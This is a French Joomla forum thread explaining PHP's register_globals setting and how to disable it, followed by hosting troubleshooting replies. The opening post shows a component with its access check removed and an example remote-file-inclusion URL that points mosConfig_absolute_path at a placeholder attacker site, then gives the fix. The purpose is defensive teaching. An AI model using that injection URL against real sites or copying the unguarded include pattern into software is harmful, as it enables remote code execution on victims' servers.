The Joomla! Forum ™



Forum rules


Règles du forum



Post new topic Reply to topic  [ 17 posts ] 
Author Message
 Post subject: Les registres globaux
PostPosted: Thu Sep 21, 2006 7:55 pm 
User avatar
Joomla! Ace
Joomla! Ace
Offline

Joined: Sun Aug 21, 2005 9:18 pm
Posts: 1074
Location: SUISSE
Introduction

Lorsque l'on charge une page PHP, le serveur fourni au script plusieurs variables pré-définies dont certaines ($_GET, $_POST, etc.) contiennent les données transmises par le visiteur.

Exemple :
Lorsqu'un navigateur demande une page à un serveur, il envoie une requête
* :

Code:
GET /index.php?option=com_frontpage


Le serveur ajoute alors à la variable $_GET (de type tableau), une entrée : option => com_frontpage
Dans le script PHP, cette entrée est ensuite accessible avec : $_GET['option']


Lorsque la directive register_globals est activée, PHP copie ces variables pré-définies dans de simples variables.

Exemple :
En prenant la base de l'exemple précédent, pour l'entrée $_GET['option'] PHP va créer une variable $option contenant également com_frontpage


Où est le problème ?

Cette directive n'est pas en elle-même un problème, mais elle est une source potentielle de failles de sécurité.

Exemple :
Prenons par exemple le code du composant
/components/com_frontpage/frontpage.php dans lequel nous enlevons (en commentant) la protection contre les accès directs :

Code:
<?php
/**
* @version $Id: frontpage.php 85 2005-09-15 23:12:03Z eddieajau $
* @package Joomla
* @subpackage Content
* @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// no direct access
// defined( '_VALID_MOS' ) or die( 'Restricted access' ); // Code commenté pour l'exemple

// code handling has been shifted into content.php
require_once( $mosConfig_absolute_path .'/components/com_content/content.php' );
?>


Si les registres globaux sont activés, il est possible d'appeler le script de la manière suivante :
http://[le_site_victime]/components/com_frontpage/frontpage.php?mosConfig_absolute_path=http://[le_site_du_cracker]/script.txt?

Si la directive allow_url_fopen est activée (ce qui est le cas généralement), le script inclu sera :

http://[le_site_du_cracker]/script.txt?/components/com_content/content.php
et vous serez victime d'une attaque par inclusion de fichier distant (= remote file inclusion).

Dans le cas de l'exemple précédent, l'ajout du code suivant permet de sécuriser le composant :

Code:
<?php defined( '_VALID_MOS' ) or die( 'Restricted access' ); ?>


mais cet exemple est relativement simple et les failles de sécurité ne sautent pas forcément aux yeux du premier coup d'oeil.

Exemple :

Code:
<?php
// Pas d'accès direct
defined( '_VALID_MOS' ) or die( 'Restricted access' );

// Traitement de la tâche demandée
switch ( $task )
   {
      case 'afficher_article':
         $fichier = $mosConfig_absolute_path . '/components/com_exemple/fonction_afficher.php';
         break;
      case 'editer_article':
         if ( $my->gid < 2 )
            mosNotAuth();
         $fichier = $mosConfig_absolute_path . '/components/com_exemple/fonction_editer.php';
         break;
      case 'nouvel_article':
         if ( $my->gid < 2 )
            mosNotAuth();
         $fichier = $mosConfig_absolute_path . '/components/com_exemple/fonction_nouveau.php';
         break;
   }

// Chargement du script de traitement
include( $fichier );
?>


Toute variable non initialisée ou dont la provenance des données n'est pas contrôlée peut être une faille de sécurité.

Comment changer la valeur de cette directive ?

Le plus simple est de demander à votre hébergeur d'effectuer le changement sur votre serveur.
S'il ne s'agit pas d'un serveur dédié, il est probable qu'il refuse. Vous pouvez alors placer un fichier .htaccess à la racine de votre site contenant :

Code:
php_flag register_globals off


pour désactiver la directive ou au contraire :

Code:
php_flag register_globals on


pour l'activer.

Emulation de la directive register_globals

Joomla! a introduit une interface permettant d'émuler la directive register_globals. Cette option est limitée par le fait que seuls les scripts PHP derrière cette interface sont affectés (donc les scripts indépendants ou accédés directement ne sont pas affectés).

Depuis la version 1.0.13 de Joomla!, l'activation/désactivation de l'émulation de cette directive se modifie depuis l'administration. Dans la page Site | Configuration du Site, onglet Serveur, option Emulation du paramètre Register Globals.

Avant Joomla! 1.0.13 :

Quote:
La configuration de l'option RG_EMULATION (option de Joomla! donc) s'effectue dans le fichier /globals.php, ligne 24 :

Code:
<?php define( 'RG_EMULATION', 1 ); ?>


Pour émuler la directive register_globals activée, il suffit d'affecter la valeur 1 à la constante RG_EMULATION. Au contraire, pour émuler la directive register_globals désactivée, il suffit d'affecter la valeur 0 à la constante RG_EMULATION.


Important :
Dans l'environnement Joomla! (tout ce qui est exécuté au travers de Joomla!), les registres globaux sont définis par cette option uniquement et la configuration de la directive register_globals de PHP est sans effet après l'interface RG_EMULATION fournie par Joomla!.


Activer ou désactiver ?

Il est conseillé de désactiver la directive register_globals ainsi que l'option Joomla! RG_EMULATION pour réduire les failles de sécurité potentielles. Cela n'est malheureusement pas toujours possible, certaines extensions nécessitant l'activation de cette option (et peut-être aussi de la directive PHP pour les extensions utilisant certains scripts directement sans passer par Joomla!).

Avant de changer la configuration, vérifiez que les extensions installées sur votre site ne sont pas listées sur cette page (la liste n'est évidemment pas complète) :
http://forum.joomla.org/index.php/topic,86525.0.html
ou si possible appliquer le(s) correctif(s) indiqué(s) pour rendre vos extensions indépendantes des registres globaux.

Notes

* La requête est incomplète mais la suite ne nous intéresse pas ici.
Voir pour plus de détails : http://www.w3.org/Protocols/rfc2616/rfc2616.html (anglais)

Références

http://dev.joomla.org/index.php?option=com_jd-wiki&Itemid=31&id=tips:make_secure (anglais)
http://www.php.net/manual/fr/ini.core.php#ini.register-globals (français)
http://www.php.net/manual/fr/security.globals.php (français)


Last edited by ouly on Sun Mar 30, 2008 4:51 pm, edited 2 times in total.
Adaptation pour phpBB et MàJ pour J! >= 1.0.13


Top
 Profile  
 
PostPosted: Fri Nov 10, 2006 5:10 pm 
User avatar
Joomla! Explorer
Joomla! Explorer
Offline

Joined: Mon Apr 03, 2006 2:06 pm
Posts: 497
Salut Ouly,
Est-ce que placer le
Code:
php_flag register_globals off

directement ds un .htaccess d'un sef quelconque est correct ?


Top
 Profile  
 
PostPosted: Fri Nov 10, 2006 10:02 pm 
User avatar
Joomla! Ace
Joomla! Ace
Offline

Joined: Sun Aug 21, 2005 9:18 pm
Posts: 1074
Location: SUISSE
Oui  ;)


Top
 Profile  
 
PostPosted: Sat Nov 11, 2006 8:15 am 
User avatar
Joomla! Explorer
Joomla! Explorer
Offline

Joined: Fri Dec 23, 2005 10:48 am
Posts: 417
Location: Paris / Oléron (F)
Merci Ouly pour cette superbe contribution.

_________________
Yann Sallou
WebAgency | http://www.utopiart.com


Top
 Profile  
 
PostPosted: Sat Nov 11, 2006 9:43 am 
User avatar
Joomla! Ace
Joomla! Ace
Offline

Joined: Sun Aug 21, 2005 9:18 pm
Posts: 1074
Location: SUISSE
@syan : pour ma réponse ou pour le sujet ?  :D :D :D


Top
 Profile  
 
PostPosted: Sat Nov 11, 2006 9:58 am 
User avatar
Joomla! Explorer
Joomla! Explorer
Offline

Joined: Fri Dec 23, 2005 10:48 am
Posts: 417
Location: Paris / Oléron (F)
;D :laugh: ... le sujet bien sûr

_________________
Yann Sallou
WebAgency | http://www.utopiart.com


Top
 Profile  
 
PostPosted: Mon Nov 13, 2006 12:15 pm 
User avatar
Joomla! Explorer
Joomla! Explorer
Offline

Joined: Mon Apr 03, 2006 2:06 pm
Posts: 497
C'est étrange, j'ai l'impression de passer pour un ignare  ;D


Top
 Profile  
 
PostPosted: Sat Jan 20, 2007 1:49 pm 
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Sun Jan 07, 2007 12:04 am
Posts: 104
slaut
le probleme
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Les paramètres PHP Serveur suivants ne sont pas optimum pour la Sécurité de votre site, il vous est recommandé de les modifier:

    * Paramètre PHP register_globals est sur `ON` au lieu de `OFF`
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
jai hébergé chez  http://www.1and1.fr

comment le faire

jai virifer le ficher htaccess.txt et jai trouver que
----------------------------------------------------------------------------------------
php_flag register_globals off
##  Can be commented out if causes errors, see notes above.
Options +FollowSymLinks

#
#  mod_rewrite in use
php_flag register_globals off
RewriteEngine On
-----------------------------------------------------------------------------------------------
mai le mesage d'alert reste:
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Les paramètres PHP Serveur suivants ne sont pas optimum pour la Sécurité de votre site, il vous est recommandé de les modifier:

    * Paramètre PHP register_globals est sur `ON` au lieu de `OFF`
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


Top
 Profile  
 
PostPosted: Sat Jan 20, 2007 2:45 pm 
User avatar
Joomla! Ace
Joomla! Ace
Offline

Joined: Sun Aug 21, 2005 9:18 pm
Posts: 1074
Location: SUISSE
Bonjour member,
Merci de ne pas poster plusieurs fois la même question sur le forum.

Le fichier htaccess.txt doit être renommé en .htaccess pour qu'il soit reconnu par Apache.

Ouly


Top
 Profile  
 
PostPosted: Sat Jan 20, 2007 3:00 pm 
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Sun Jan 07, 2007 12:04 am
Posts: 104
je suis desoler mai ce probleme jai 1 moi avec lui

il faut que je crier un neveux ficher nomer .htaccsse ou modifier loriginal de joomla

et merci 1000 foit


Top
 Profile  
 
PostPosted: Sat Jan 20, 2007 3:06 pm 
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Sun Jan 07, 2007 12:04 am
Posts: 104
ci moi encore jai renemer le fichier htaccess.txt par .htaccess il ma fait ca

ERREUR SERVEUR INTERNE

Un problème inattendu est survenu.
Veuillez réessayer ultérieurement.

jai reie un autre fichier nomer .htaccess

le meme probleme
ERREUR SERVEUR INTERNE

Un problème inattendu est survenu.
Veuillez réessayer ultérieurement.


Top
 Profile  
 
PostPosted: Sat Jan 20, 2007 3:29 pm 
User avatar
Joomla! Ace
Joomla! Ace
Offline

Joined: Sun Aug 21, 2005 9:18 pm
Posts: 1074
Location: SUISSE
Le problème est que le fichier .htaccess utilisé contient des directives concernant la réécriture d'URL pour les fonctionnalités SEF.

Généralement c'est la directive Options qui cause problème car l'hébergeur a bloqué la possibilité de la modifier. Il suffit probablement de commenter la ligne :

Code:
Options +FollowSymLinks


pour que le serveur accepte le fichier .htaccess.


Top
 Profile  
 
PostPosted: Sat Jan 20, 2007 3:46 pm 
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Sun Jan 07, 2007 12:04 am
Posts: 104
merci uoly merci 1000 foit

pour ce problem jai envoier un message ou heberger

jai heberger chez  *1and1* lunix

mai avec ce joomla je suis null
je suis nauveux il me faut etape par etape pour que le regler

et merci encore


Top
 Profile  
 
PostPosted: Sat Jan 20, 2007 3:49 pm 
Joomla! Enthusiast
Joomla! Enthusiast
Offline

Joined: Sun Jan 07, 2007 12:04 am
Posts: 104
ouly wrote:
Le problème est que le fichier .htaccess utilisé contient des directives concernant la réécriture d'URL pour les fonctionnalités SEF.

Généralement c'est la directive Options qui cause problème car l'hébergeur a bloqué la possibilité de la modifier. Il suffit probablement de commenter la ligne :

Code:
Options +FollowSymLinks


pour que le serveur accepte le fichier .htaccess.


comment commenter cette lingne
le probleme precier
je peut pas modifer
ni htaccess
ni activer le cache
est ce que il ya une solution s.v.p

merci


Last edited by member on Tue Feb 27, 2007 12:17 pm, edited 1 time in total.

Top
 Profile  
 
PostPosted: Sun Nov 11, 2007 9:14 pm 
Joomla! Fledgling
Joomla! Fledgling
Offline

Joined: Sun Nov 11, 2007 9:07 pm
Posts: 2
Bonjour, j'ai le même problème que les précédents.

J'ai suivi la procédure (ajout du fichier .htaccess; commenter la ligne option +FollowSymLinks) mais quand je veux accéder au site, il me met une page d'erreur "Internal Server Error".

Je joins le fichier htaccess.txt

Merci pour l'aide

Lpcvb


You do not have the required permissions to view the files attached to this post.


Top
 Profile  
 
PostPosted: Mon Nov 12, 2007 8:22 am 
User avatar
Joomla! Explorer
Joomla! Explorer
Offline

Joined: Mon Apr 03, 2006 2:06 pm
Posts: 497
Essaye avec une seule #.


Top
 Profile  
 
PostPosted: Mon Nov 12, 2007 9:48 am 
Joomla! Fledgling
Joomla! Fledgling
Offline

Joined: Sun Nov 11, 2007 9:07 pm
Posts: 2
J'ai déjà essayé avec un seul # et cela n'avait pas fonctionné non plus.

Merci pour votre aide

lpcvb


Top
 Profile  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 17 posts ] 



Who is online

Users browsing this forum: No registered users and 1 guest


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Jump to:  
Powered by phpBB® Forum Software © phpBB Group